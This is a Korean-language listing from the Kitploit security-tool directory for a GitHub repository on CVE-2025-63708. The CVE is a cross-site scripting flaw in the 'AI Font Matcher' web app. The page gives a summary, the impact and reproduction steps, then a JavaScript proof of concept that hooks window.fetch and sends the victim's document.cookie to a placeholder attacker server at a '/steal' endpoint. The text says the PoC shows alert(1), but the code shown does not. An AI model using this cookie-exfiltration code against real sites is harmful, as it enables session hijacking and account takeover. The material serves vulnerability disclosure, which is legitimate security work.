Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-63708 | Kitploit
도구/GitHubGitHub/dylandavis1/cve-2025-63708
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubdylandavis1/cve-2025-63708

CVE-2025-63708

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-63708

CVE ID: CVE-2025-63708
배정일: 11-12-2025 문제 유형: CWE-79 (크로스 사이트 스크립팅)
영향 받는 제품: “AI Font Matcher” (2025-10-10 게시, nid=18425)
제품 페이지: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
발견 날짜: 2025-10-11
연구자: Dylan Davis

요약

애플리케이션은 webfonts fetch에서 받은 데이터를 처리할 때 폰트 패밀리 이름을 검증하지 않습니다. 해당 응답을 제어하거나 가로채는 공격자는 페이지 컨텍스트에서 실행되는 JavaScript를 주입할 수 있으며, 이를 통해 세션 쿠키 탈취 및 계정 탈취가 가능합니다.

영향

  • 피해자 브라우저에서의 임의 JavaScript 실행
  • 세션 쿠키 유출 (테스트 중 HttpOnly가 아닌 쿠키를 확인함)
  • 계정 탈취 및 사용자를 대신한 작업 수행

영향을 받는 버전 / 범위

  • 2025-10-10 시점에 SourceCodester에서 배포된 “AI Font Matcher” 패키지.

재현 (PoC)

이 PoC는 window.fetch를 후킹하고 제어된 Web Fonts 페이로드를 반환하여 코드 실행을 입증합니다.

  1. 다운로드한 소스에서 앱을 로컬로 실행합니다.
  2. DevTools → Console을 열고 아래 PoC를 붙여넣습니다(또는 poc.js를 로드합니다).
  3. webfonts를 fetch하는 UI를 트리거하면 alert(1)이 실행되는 것을 확인합니다.
root@kitploit:~
window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
    const url = (typeof input === 'string') ? input : input?.url;
    if (url && url.includes('webfonts')) {
        // Exfiltrate cookie to your server
        fetch('http://[your-ip]:8001/steal?cookie=' + 
              encodeURIComponent(document.cookie))
            .catch(e => console.log('Exfil failed:', e));
        
        return new Response(JSON.stringify({
            kind: "webfonts#webfontList",
            items: [{ family: "Playfair Display", category: "serif" }]
        }), {
            status: 200, 
            headers: {'Content-Type': 'application/json'}
        });
    }
    return window.__origFetch.apply(this, arguments);
};
도구 다운로드